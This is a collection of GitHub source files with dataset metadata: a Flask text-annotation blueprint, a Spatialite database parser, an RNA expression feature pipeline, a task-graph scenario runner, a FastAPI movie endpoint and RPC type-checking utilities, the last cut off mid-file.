grabber.py", "file_name": "Anydesk ip grabber.py", "file_ext": "py", "file_size_in_byte": 2836, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.system", "line_number": 3, "usage_type": "call"}, {"api_name": "colorama.init", "line_number": 7, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 22, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 25, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 32, "usage_type": "call"}, {"api_name": "colorama.Fore.GREEN", "line_number": 51, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 51, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 53, "usage_type": "call"}, {"api_name": "colorama.Style.BRIGHT", "line_number": 54, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 54, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 63, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 63, "usage_type": "name"}, {"api_name": "colorama.Fore.WHITE", "line_number": 63, "usage_type": "attribute"}, {"api_name": "colorama.Fore.BLACK", "line_number": 63, "usage_type": "attribute"}]} {"seq_id": "19834092972", "text": "from flask import (\n Blueprint, g, render_template, abort, request, flash, redirect, url_for, jsonify\n)\n\nfrom justifii.database import db_session\nfrom justifii.blueprints.auth import login_required\nfrom justifii.models import Rationale, Text\n\nbp = Blueprint('text', __name__, url_prefix='/text')\n\n\ndef get_text(text_id):\n text = Text.query.get(text_id)\n\n if text is None:\n abort(404, \"Text #{} doesn't exist.\".format(text_id))\n\n return text\n\n\n@bp.route('/')\ndef index():\n return render_template('text/index.html', texts=Text.query.all())\n\n\n@bp.route('/_get_texts', methods=('GET',))\ndef get_texts():\n data = [{\n 'id': text.id,\n 'fpath': text.fpath,\n 'label': text.label.name,\n 'show_url': url_for('text.show', text_id=text.id),\n 'justify_url': url_for('text.justify', text_id=text.id),\n } for text in Text.query.all()]\n\n return jsonify(data=data)\n\n\n@bp.route('/')\ndef show(text_id):\n text = get_text(text_id)\n\n return render_template('text/show.html', text=text)\n\n\n@bp.route('//justify', methods=('GET', 'POST'))\n@login_required\ndef justify(text_id):\n text = get_text(text_id)\n\n existing_rationale = Rationale.query.filter_by(user_id=g.user.id, text_id=text_id).first()\n new = existing_rationale is None\n rationale = existing_rationale or Rationale()\n\n if new:\n rationale.user = g.user\n rationale.text = text\n\n if request.method == 'POST':\n tokens = request.form.getlist('tokens[]')\n error = None\n\n if not tokens:\n error = \"No tokens selected\"\n\n if error is not None:\n flash(error, 'danger')\n else:\n rationale.tokens = [int(token) for token in tokens]\n if new:\n db_session.add(rationale)\n db_session.commit()\n return redirect(url_for('text.show', text_id=text_id))\n\n return render_template('text/justify.html', text=text, rationale=rationale)\n", "repo_name": "julescarpentier/classifii", "sub_path": "justifii/blueprints/text.py", "file_name": "text.py", "file_ext": "py", "file_size_in_byte": 1992, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Blueprint", "line_number": 9, "usage_type": "call"}, {"api_name": "justifii.models.Text.query.get", "line_number": 13, "usage_type": "call"}, {"api_name": "justifii.models.Text.query", "line_number": 13, "usage_type": "attribute"}, {"api_name": "justifii.models.Text", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 23, "usage_type": "call"}, {"api_name": "justifii.models.Text.query.all", "line_number": 23, "usage_type": "call"}, {"api_name": "justifii.models.Text.query", "line_number": 23, "usage_type": "attribute"}, {"api_name": "justifii.models.Text", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 33, "usage_type": "call"}, {"api_name": "justifii.models.Text.query.all", "line_number": 34, "usage_type": "call"}, {"api_name": "justifii.models.Text.query", "line_number": 34, "usage_type": "attribute"}, {"api_name": "justifii.models.Text", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 43, "usage_type": "call"}, {"api_name": "justifii.models.Rationale.query.filter_by", "line_number": 51, "usage_type": "call"}, {"api_name": "justifii.models.Rationale.query", "line_number": 51, "usage_type": "attribute"}, {"api_name": "justifii.models.Rationale", "line_number": 51, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 51, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 51, "usage_type": "name"}, {"api_name": "justifii.models.Rationale", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.g.user", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 56, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 60, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 67, "usage_type": "call"}, {"api_name": "justifii.database.db_session.add", "line_number": 71, "usage_type": "call"}, {"api_name": "justifii.database.db_session", "line_number": 71, "usage_type": "name"}, {"api_name": "justifii.database.db_session.commit", "line_number": 72, "usage_type": "call"}, {"api_name": "justifii.database.db_session", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 75, "usage_type": "call"}, {"api_name": "justifii.blueprints.auth.login_required", "line_number": 47, "usage_type": "name"}]} {"seq_id": "1793989666", "text": "# -*- coding: utf-8 -*-\r\nfrom __future__ import unicode_literals\r\n\r\n\r\n\"\"\"\r\nThis file is part of LAMIA.\r\n\r\n LAMIA is free software: you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n\r\n LAMIA is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n\r\n You should have received a copy of the GNU General Public License\r\n along with Foobar. If not, see .\r\n\r\n\"\"\"\r\n\"\"\"\r\n * Copyright (c) 2017-2020 ARTELIA Commit \r\n * \r\n * SPDX-License-Identifier: GPL-3.0-or-later\r\n * License-Filename: LICENSING.md\r\n \"\"\"\r\n\r\nimport os, sys, shutil, datetime\r\n\r\nif sys.version_info.major == 2:\r\n import pyspatialite\r\nelif sys.version_info.major == 3:\r\n import sqlite3\r\n\r\nfrom .dbaseparserabstract import *\r\n\r\n\r\nclass SpatialiteDBaseParser(AbstractDBaseParser):\r\n\r\n TYPE = \"spatialite\"\r\n\r\n def __init__(self, parserfactory, messageinstance):\r\n super(SpatialiteDBaseParser, self).__init__(parserfactory, messageinstance)\r\n\r\n def connectToDBase(self, slfile=None, **kwargs):\r\n self.spatialitefile = slfile\r\n self.connSLITE = sqlite3.dbapi2.connect(slfile)\r\n self.connSLITE.enable_load_extension(True)\r\n cur = self.connSLITE.cursor()\r\n cur.execute(\"SELECT load_extension('mod_spatialite')\") # mod_spatialite.so\r\n self.SLITEcursor = self.connSLITE.cursor()\r\n\r\n def disconnect(self):\r\n try:\r\n self.connSLITE.close()\r\n except Exception as e:\r\n pass\r\n # print(\"error on closing connection : \", e)\r\n\r\n def getDBName(self):\r\n name, ext = os.path.splitext(os.path.basename(self.spatialitefile))\r\n return name\r\n\r\n def generateSQLTableCreationFromDBConfig(self, name, dbasetable, crs):\r\n\r\n sql = {}\r\n listFK = []\r\n sql[\"main\"] = \"CREATE TABLE \"\r\n sql[\"main\"] += name + \"(\"\r\n\r\n for key in dbasetable[\"fields\"]:\r\n sltype = None\r\n if dbasetable[\"fields\"][key][\"PGtype\"] in PGTYPE_TO_SLTYPE.keys():\r\n sltype = PGTYPE_TO_SLTYPE[dbasetable[\"fields\"][key][\"PGtype\"]]\r\n elif \"VARCHAR\" in dbasetable[\"fields\"][key][\"PGtype\"]:\r\n sltype = \"TEXT\"\r\n if key is None or sltype is None:\r\n raise TypeError(key, sltype, name)\r\n sql[\"main\"] += key + \" \" + sltype + \",\"\r\n\r\n if \"FK\" in dbasetable[\"fields\"][key].keys():\r\n listFK.append(\r\n \"FOREIGN KEY(\"\r\n + key\r\n + \") REFERENCES \"\r\n + dbasetable[\"fields\"][key][\"FK\"]\r\n )\r\n\r\n sql[\"main\"] += \",\".join(listFK)\r\n if sql[\"main\"][-1] == \",\":\r\n sql[\"main\"] = sql[\"main\"][:-1]\r\n sql[\"main\"] = sql[\"main\"] + \");\"\r\n\r\n if \"geom\" in dbasetable.keys():\r\n sql[\"other\"] = []\r\n sql[\"other\"].append(\r\n \"SELECT AddGeometryColumn('\"\r\n + name\r\n + \"','geom',\"\r\n + str(crs)\r\n + \", '\"\r\n + dbasetable[\"geom\"]\r\n + \"', 'XY');\"\r\n )\r\n return sql\r\n\r\n def generateSQLViewCreationFromDBConfig(self, dbname, dbasetable, worktype, crs):\r\n \"\"\"\r\n return sql list to be queried\r\n \"\"\"\r\n finalsqllist = []\r\n viewnames = {}\r\n if \"djangoviewsql\" in dbasetable.keys():\r\n viewnames[\"djangoviewsql\"] = str(dbname) + \"_django\"\r\n\r\n if \"qgisPGviewsql\" in dbasetable.keys():\r\n viewnames[\"qgisPGviewsql\"] = str(dbname) + \"_qgis\"\r\n elif \"qgisviewsql\" in dbasetable.keys():\r\n viewnames[\"qgisviewsql\"] = str(dbname) + \"_qgis\"\r\n\r\n if \"exportviewsql\" in dbasetable.keys():\r\n viewnames[\"exportviewsql\"] = str(dbname) + \"_export\"\r\n\r\n for viewname in viewnames.keys():\r\n sql = \"CREATE VIEW \" + str(viewnames[viewname]) + \" AS \"\r\n if dbasetable[viewname].strip() != \"\":\r\n sql += dbasetable[viewname]\r\n else:\r\n sql += \"SELECT * FROM \" + str(dbname)\r\n finalsqllist.append(sql)\r\n\r\n # if self.isTableSpatial(viewnames[viewname]):\r\n if self.isTableSpatial(dbname):\r\n dbnamelower = dbname.lower()\r\n # idcolumnname = self.getFirstIdColumn(viewnames[viewname])\r\n idcolumnname = self.getFirstIdColumn(dbname)\r\n viewlower = viewnames[viewname].lower()\r\n try:\r\n sql = \"INSERT INTO views_geometry_columns (view_name, view_geometry, view_rowid, \"\r\n sql += \"f_table_name, f_geometry_column,read_only)\"\r\n sql += (\r\n \" VALUES ('\"\r\n + str(viewlower)\r\n + \"','geom','\"\r\n + idcolumnname\r\n + \"','\"\r\n + str(dbnamelower)\r\n )\r\n sql += \"','geom',0)\"\r\n finalsqllist.append(sql)\r\n except TypeError as e:\r\n print(dbname, e)\r\n print(viewlower, idcolumnname, dbnamelower)\r\n raise TypeError\r\n\r\n return finalsqllist\r\n\r\n def initDBase(self, **kwargs):\r\n slfile = kwargs.get(\"slfile\", None)\r\n if slfile is None:\r\n raise ValueError(\"Init DBase : No file path given\")\r\n\r\n originalfile = os.path.join(\r\n os.path.dirname(__file__), \"..\", \"assets\", \"DBase_ind0.sqlite\"\r\n )\r\n shutil.copyfile(originalfile, slfile)\r\n\r\n def query(self, sql, arguments=[], docommit=True):\r\n # cursor = self.connSLITE.cursor()\r\n if self.SLITEcursor is None:\r\n self.SLITEcursor = self.connSLITE.cursor()\r\n try:\r\n if self.printsql and sql.split(' ')[0].lower() == 'update':\r\n logging.getLogger(\"Lamia_unittest\").debug(\"%s - %s \", docommit, sql)\r\n # if sql.split(' ')[0].lower() in ['update', 'delete','insert']:\r\n # #logging.getLogger('Lamia').debug('%s - %s %.3f', docommit, sql, self.getTimeNow() - timestart)\r\n # logging.getLogger('Lamia_unittest').debug('%s - %s ', docommit, sql)\r\n\r\n query = self.SLITEcursor.execute(sql, arguments)\r\n returnquery = list(query)\r\n if docommit and self.forcenocommit == False:\r\n self.commit()\r\n\r\n return returnquery\r\n except (sqlite3.dbapi2.OperationalError, sqlite3.dbapi2.IntegrityError) as e:\r\n # self.errorquerymessage.emit(str(e))\r\n # if self.qgsiface is None:\r\n\r\n if self.raiseexceptions:\r\n print(sql, arguments)\r\n raise TypeError(\"error query\", e)\r\n else:\r\n print(sql)\r\n print(\"error query\", e)\r\n\r\n return None\r\n\r\n def vacuum(self):\r\n raise NotImplementedError\r\n\r\n def commit(self):\r\n self.connSLITE.commit()\r\n\r\n def reInitDBase(self):\r\n raise NotImplementedError\r\n\r\n def isTableSpatial(self, tablename):\r\n sql = \"PRAGMA table_info(\" + str(tablename) + \")\"\r\n query = self.query(sql)\r\n result = [row[1] for row in query]\r\n # print(result)\r\n if \"geom\" in result:\r\n return True\r\n else:\r\n return False\r\n\r\n def getTables(self):\r\n sql = \"SELECT name FROM sqlite_master WHERE type='table'\"\r\n result = self.query(sql)\r\n return [elem[0] for elem in result]\r\n\r\n def getColumns(self, tablename):\r\n if tablename in self.columnsnames.keys():\r\n return self.columnsnames[tablename]\r\n\r\n sql = \"PRAGMA table_info(\" + str(tablename) + \")\"\r\n query = self.query(sql)\r\n result = [row[1] for row in query]\r\n self.columnsnames[tablename] = result\r\n return result\r\n\r\n def getFirstIdColumn(self, tablename):\r\n sql = \"PRAGMA table_info(\" + str(tablename) + \")\"\r\n query = self.query(sql)\r\n result = [row[1] for row in query]\r\n for fieldname in result:\r\n if \"pk_\" in fieldname:\r\n return fieldname\r\n\r\n def getLastPK(self, tablename):\r\n sql = \"SELECT * FROM sqlite_sequence \"\r\n results = self.query(sql)\r\n for res in results:\r\n if res[0] == tablename:\r\n return res[1]\r\n return 0\r\n\r\n def _dateVersionConstraintSQL(self, specialdate=None):\r\n if specialdate is None or specialdate == \"now\":\r\n # workingdatemodif = QtCore.QDate.fromString(self.workingdate, 'yyyy-MM-dd').addDays(1).toString('yyyy-MM-dd')\r\n workingdatemodif = (\r\n datetime.datetime.now() + datetime.timedelta(days=1)\r\n ).strftime(\"%Y-%m-%d\")\r\n else:\r\n # workingdatemodif = QtCore.QDate.fromString(specialdate, 'dd/MM/yyyy').addDays(1).toString('yyyy-MM-dd')\r\n workingdatemodif = (\r\n datetime.datetime.strptime(specialdate, \"%d/%m/%Y\")\r\n + datetime.timedelta(days=1)\r\n ).strftime(\"%Y-%m-%d\")\r\n\r\n sqlin = \" datetimecreation <= \" + \"'\" + workingdatemodif + \"'\"\r\n sqlin += \" AND CASE WHEN datetimedestruction IS NOT NULL \"\r\n sqlin += (\r\n \"THEN datetimedestruction > \" + \"'\" + workingdatemodif + \"'\" + \" ELSE 1 END\"\r\n )\r\n sqlin += \" AND lpk_revision_begin <= \" + str(self.currentrevision)\r\n sqlin += \" AND CASE WHEN lpk_revision_end IS NOT NULL THEN \"\r\n sqlin += \" lpk_revision_end > \" + str(self.currentrevision)\r\n sqlin += \" ELSE 1 END\"\r\n\r\n return sqlin\r\n\r\n def createBlobThumbnail(self, pkresource, filepath):\r\n if not os.path.isfile(self.completePathOfFile(filepath)):\r\n return\r\n\r\n filebase, fileext = os.path.splitext(filepath)\r\n\r\n if PILexists and fileext.lower() in [\".jpg\", \".jpeg\", \".png\"]:\r\n try:\r\n size = THUMBNAIL_SIZE, THUMBNAIL_SIZE\r\n im = PIL.Image.open(filepath)\r\n im.thumbnail(size)\r\n imgByteArr = io.BytesIO()\r\n im.save(imgByteArr, format=\"PNG\")\r\n im.close()\r\n biteval = imgByteArr.getvalue()\r\n self.connSLITE.cursor().execute(\r\n \"UPDATE resource SET thumbnail = (?) WHERE pk_resource = (?)\",\r\n [biteval, pkresource],\r\n )\r\n except OSError:\r\n pass\r\n\r\n def valToBinary(self, val):\r\n return sqlite3.Binary(val)\r\n", "repo_name": "Artelia/Lamia", "sub_path": "api/dbasemanager/spatialitedbaseparser.py", "file_name": "spatialitedbaseparser.py", "file_ext": "py", "file_size_in_byte": 10992, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.version_info", "line_number": 31, "usage_type": "attribute"}, {"api_name": "sys.version_info", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sqlite3.dbapi2.connect", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlite3.dbapi2", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 167, "usage_type": "call"}, {"api_name": "sqlite3.dbapi2", "line_number": 186, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 253, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 253, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 253, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 258, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 258, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 275, "usage_type": "call"}, {"api_name": "os.path", "line_number": 275, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 278, "usage_type": "call"}, {"api_name": "os.path", "line_number": 278, "usage_type": "attribute"}, {"api_name": "sqlite3.Binary", "line_number": 297, "usage_type": "call"}]} {"seq_id": "37949209049", "text": "import logging\r\n\r\n# Third-party libraries\r\nimport pandas as pd\r\n\r\nfrom rnafeatures.expression.logfc_matrix import get_logfc_matrix\r\nfrom rnafeatures.expression.logfc_breadth import get_breadth_matrix\r\nfrom rnafeatures.expression.logfc_mmm import get_logfc_mmm_matrix\r\nfrom rnafeatures.expression.tpm_mmm import get_tpm_mmm_matrix\r\n\r\n# Setup logger\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\ndef expr_main(dir_paths, alpha=0.05):\r\n \"\"\"\r\n Creates the expression dataset.\r\n\r\n The expression dataset consists of the breadth, maximum absolute deviation\r\n (MAD), maximum and median for each gene for each dataset.\r\n \"\"\"\r\n processed_datasets = list()\r\n\r\n for dir in dir_paths:\r\n logfc_paths = dir.glob(\"*.csv\")\r\n tpm_path = list(dir.glob(\"*tpm.tsv\"))[0]\r\n dataset_name = dir.name\r\n\r\n logger.info(f\"Concatenating .csv files in '{dir}' into logfc matrix.\")\r\n df = get_logfc_matrix(logfc_paths)\r\n\r\n logger.info(\"Getting breadth matrix.\")\r\n breadth_df = get_breadth_matrix(df, alpha)\r\n\r\n logger.info(\"Getting logfc mad max med matrix.\")\r\n mmm_df = get_logfc_mmm_matrix(df, alpha)\r\n\r\n logger.info(\"Getting tpm mad max med matrix.\")\r\n tpm_df = get_tpm_mmm_matrix(tpm_path)\r\n\r\n # Combines breadth and mmm tables, adding a key for dataset\r\n logger.info(\"Joining breadth, logfc_mmm, and tpm_mmm matrices.\")\r\n exprs_df = pd.concat([breadth_df, mmm_df, tpm_df], axis=1)\r\n exprs_df = pd.concat([exprs_df], keys=[dataset_name], names=[\"dataset\"])\r\n\r\n logger.info(f\"Completed '{dataset_name}' expression matrix.\\n\")\r\n processed_datasets.append(exprs_df)\r\n\r\n # Combines multiple datasets\r\n if len(processed_datasets) > 1:\r\n logger.info(\"Concatenating all expression matrices.\")\r\n combined_df = pd.concat(processed_datasets)\r\n else:\r\n logger.info(\"Returning single expression matrix.\")\r\n combined_df = processed_datasets[0]\r\n\r\n logger.info(\"All expression features generated.\\n\\n\")\r\n return combined_df\r\n", "repo_name": "SpikyClip/rna-features", "sub_path": "rnafeatures/expression/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2064, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "rnafeatures.expression.logfc_matrix.get_logfc_matrix", "line_number": 30, "usage_type": "call"}, {"api_name": "rnafeatures.expression.logfc_breadth.get_breadth_matrix", "line_number": 33, "usage_type": "call"}, {"api_name": "rnafeatures.expression.logfc_mmm.get_logfc_mmm_matrix", "line_number": 36, "usage_type": "call"}, {"api_name": "rnafeatures.expression.tpm_mmm.get_tpm_mmm_matrix", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 43, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 52, "usage_type": "call"}]} {"seq_id": "16623523887", "text": "#!/usr/bin/env python\n\nimport taskmap\nimport asyncio\nimport logging\n\nclass Scenario:\n\n\tdef __init__(self, actions_dict, dependencies_dict, log=False):\n\n\t\t# dictionnary of actions (action_name, function_name)\n\t\tself.actions_dict = actions_dict\n\n\t\t# dictionnary of dependencies\n\t\tself.dependencies_dict = dependencies_dict\n\n\t\tself.scenario_graph = taskmap.create_graph(actions_dict, dependencies_dict)\n\n\t\tif not log: logging.disable(logging.CRITICAL)\n\n\t'''\n\t\t@brief performs one forward pass of the graph\n\t\tmeaning that the scenario is finished if no error occured\n\n\t\t@return{taskmap graph(dict)} the result of one forward pass\n\t'''\n\tdef exec_once(self):\n\t\ttaskmap.run_async(self.scenario_graph, sleep=.001)\n\n\t'''\n\t\t@brief performs one forward pass of the graph\n\t\tmeaning that the scenario is finished if no error occured\n\n\t\t@return{taskmap graph(dict)} the result of one forward pass\n\t'''\n\tdef exec_once_parallel(self):\n\t\ttaskmap.run_parallel_async(self.scenario_graph, nprocs=2, sleep=.001)\n\n\t'''\n\t\t@brief performs one forward pass of the graph\n\t\tmeaning that the scenario is finished if no error occured\n\t\t/!\\ + raise erros\n\n\t\t@return{taskmap graph(dict)} the result of one forward pass\n\t'''\n\tdef exec_once_raise_errors(self):\n\t\ttaskmap.run_async(self.scenario_graph, sleep=.001, raise_errors=True)\n\n\t'''\n\t\t@brief performs one forward pass of the graph\n\t\tmeaning that the scenario is finished if no error occured\n parallel + sync\n\n\t\t@return{taskmap graph(dict)} the result of one forward pass\n\t'''\n\tdef exec_once_sync_parallel(self, ncores):\n\t\ttaskmap.run_parallel(self.scenario_graph, nprocs=ncores)\n\n\tdef update_scenario_graph_after_exception(self):\n\t\tself.scenario_graph = taskmap.reset_failed_tasks(self.scenario_graph)\n\t\tself.scenario_graph = taskmap.create_graph(\n\t\t\tself.scenario_graph.funcs,\n\t\t\tself.scenario_graph.dependencies,\n\t\t\tio_bound=None,\n\t\t\tdone=self.scenario_graph.done,\n\t\t\tresults=self.scenario_graph.results,\n\t\t\tname='taskmap',\n\t\t\tlogging_config=None\n\t\t\t)\n\n\tdef exec_till_complete_or_n(self, nb_turn):\n\t\ti = 0\n\t\tis_not_completed = True\n\t\twhile is_not_completed and i\n# }> (list of movies where all the actors in the query appear)\n\n\n@router.get(\"/\", response_model=List[MovieSchema])\nasync def common_actors(actors: str):\n actors = actors.split(',')\n for actor_name in actors:\n actor = Actor.get_actor(actor_name)\n if not actor:\n raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=f\"The actor {actor_name} does not exist\")\n actors = Actor.select().where(Actor.name << actors)\n movies = [movie for movie in actors[0].movies]\n for actor in actors[1:]:\n aux = [movie for movie in actor.movies]\n movies = intersection(movies, aux)\n return [movie.serialize() for movie in movies]\n", "repo_name": "DaniMG95/MyTopMovies", "sub_path": "backend/resources/performances.py", "file_name": "performances.py", "file_ext": "py", "file_size_in_byte": 1186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "fastapi.APIRouter", "line_number": 6, "usage_type": "call"}, {"api_name": "model.actor.Actor.get_actor", "line_number": 25, "usage_type": "call"}, {"api_name": "model.actor.Actor", "line_number": 25, "usage_type": "name"}, {"api_name": "fastapi.HTTPException", "line_number": 27, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_400_BAD_REQUEST", "line_number": 27, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 27, "usage_type": "name"}, {"api_name": "model.actor.Actor.select", "line_number": 28, "usage_type": "call"}, {"api_name": "model.actor.Actor", "line_number": 28, "usage_type": "name"}, {"api_name": "model.actor.Actor.name", "line_number": 28, "usage_type": "attribute"}, {"api_name": "lib.utils.intersection", "line_number": 32, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 21, "usage_type": "name"}, {"api_name": "schema.movie.MovieSchema", "line_number": 21, "usage_type": "name"}]} {"seq_id": "27333003143", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"Utilties for marking up RPC methods.\"\"\"\n\nimport inspect\nimport textwrap\nimport functools\nimport itertools\n\nfrom twisted.internet.defer import Deferred\n\n\nclass RpcCheckError(Exception):\n \"\"\"Raised when a value fails a type check.\"\"\"\n\n\nclass Signature(object):\n\n NO_DEFAULT = object()\n NO_ARG = object()\n\n def __init__(self, f, returns=None, requires_self=True, **kw):\n self.returns = returns if returns is not None else Null()\n self.requires_self = requires_self\n self.params = kw\n self.argspec = inspect.getargspec(f)\n self.defaults = [self.NO_DEFAULT] * (\n len(self.argspec.args) - len(self.argspec.defaults or ()))\n self.defaults += list(self.argspec.defaults or ())\n\n def check_params(self, args, kw):\n if kw:\n raise RpcCheckError(\"Keyword parameters not yet supported.\")\n if len(args) > len(self.argspec.args):\n raise RpcCheckError(\"Too many positional arguments.\")\n\n missing_arg_count = len(self.argspec.args) - len(args)\n args = list(args) + [self.NO_ARG] * missing_arg_count\n arg_tuples = itertools.izip(self.argspec.args, self.defaults, args)\n if self.requires_self:\n next(arg_tuples)\n\n for arg_name, default, arg_value in arg_tuples:\n if arg_value is self.NO_ARG:\n arg_value = default\n if arg_value is self.NO_DEFAULT:\n raise RpcCheckError(\"Positional argument %r missing\"\n \" but no default is available.\" % arg_name)\n arg_type = self.params[arg_name]\n arg_type.check(arg_name, arg_value)\n\n def check_result(self, result):\n self.returns.check('return value', result)\n return result\n\n def _wrap_help(self, help_text):\n indent = ' '\n return textwrap.wrap(help_text, initial_indent=indent,\n subsequent_indent=indent)\n\n def _format_param(self, param_name, param_type, default):\n lines = [\":param %s %s:\" % (param_type.name, param_name)]\n help_text = param_type.help()\n if param_type.nullable():\n help_text += \" May be null.\"\n if default is not self.NO_DEFAULT:\n help_text += \" Default: %r.\" % (default,)\n lines.extend(self._wrap_help(help_text))\n return lines\n\n def _format_return(self, param_type):\n lines = [\":rtype %s:\" % (param_type.name,)]\n lines.extend(self._wrap_help(param_type.help()))\n return lines\n\n def _args_with_defaults(self):\n args_defaults = itertools.izip(self.argspec.args, self.defaults)\n if self.requires_self:\n next(args_defaults)\n\n for arg, default in args_defaults:\n yield arg, self.params[arg], default\n\n def param_doc(self):\n lines = []\n for arg, arg_type, default in self._args_with_defaults():\n lines.extend(self._format_param(arg, self.params[arg], default))\n lines.extend(self._format_return(self.returns))\n return lines\n\n def jsonrpc_signature(self):\n sig = [self.returns.jsonrpc_type]\n sig.extend(arg_type.jsonrpc_type for _, arg_type, _\n in self._args_with_defaults())\n return [sig]\n\n\ndef signature(**kw):\n def decorator(f):\n sig = Signature(f, **kw)\n\n def wrapper(*args, **kw):\n sig.check_params(args, kw)\n result = f(*args, **kw)\n if isinstance(result, Deferred):\n result.addCallback(sig.check_result)\n else:\n sig.check_result(result)\n return result\n\n functools.update_wrapper(wrapper, f)\n doc = textwrap.wrap(wrapper.__doc__ or '')\n doc.append(\"\")\n doc.extend(sig.param_doc())\n wrapper.__doc__ = \"\\n\".join(doc)\n wrapper.signature = sig.jsonrpc_signature()\n wrapper.signature_object = sig\n return wrapper\n\n return decorator\n\n\nclass RpcType(object):\n\n # See: http://xmlrpc.scripting.com/spec.html\n # valid simple types are:\n # int, boolean, string, double, base64 and dateTime.iso8601\n # valid compound types are:\n # array, struct\n jsonrpc_type = None\n\n def __init__(self, help=None, null=False):\n self._help = help\n self._null = null\n\n @property\n def name(self):\n return self.__class__.__name__\n\n def help(self):\n return self._help or ''\n\n def nullable(self):\n return self._null\n\n def check(self, name, value):\n if value is None:\n if not self._null:\n raise RpcCheckError(\"%s may not be None (got None)\" % (name,))\n return\n self.nonnull_check(name, value)\n\n def nonnull_check(self, name, value):\n raise RpcCheckError(\"The base class RpcType accepts no values.\")\n\n\nclass Null(RpcType):\n jsonrpc_type = 'null'\n\n def __init__(self, *args, **kw):\n kw.setdefault('null', True)\n super(Null, self).__init__(*args, **kw)\n\n def nonnull_check(self, name, value):\n if value is not None:\n raise RpcCheckError(\"Null value expected for %s (got %r)\"\n % (name, value))\n\n\nclass Unicode(RpcType):\n jsonrpc_type = 'string'\n\n def nonnull_check(self, name, value):\n if not isinstance(value, unicode):\n raise RpcCheckError(\"Unicode value expected for %s (got %r)\"\n % (name, value))\n\n\nclass Int(RpcType):\n jsonrpc_type = 'int'\n\n def nonnull_check(self, name, value):\n if not isinstance(value, (int, long)):\n raise RpcCheckError(\"Int value expected for %s (got %r)\"\n % (name, value))\n\n\nclass List(RpcType):\n jsonrpc_type = 'array'\n\n def __init__(self, *args, **kw):\n self._item_type = kw.pop('item_type', None)\n self._length = kw.pop('length', None)\n super(List, self).__init__(*args, **kw)\n\n def nonnull_check(self, name, value):\n if not isinstance(value, list):\n raise RpcCheckError(\"List value expected for %s (got %r)\"\n % (name, value))\n if self._length is not None and len(value) != self._length:\n raise 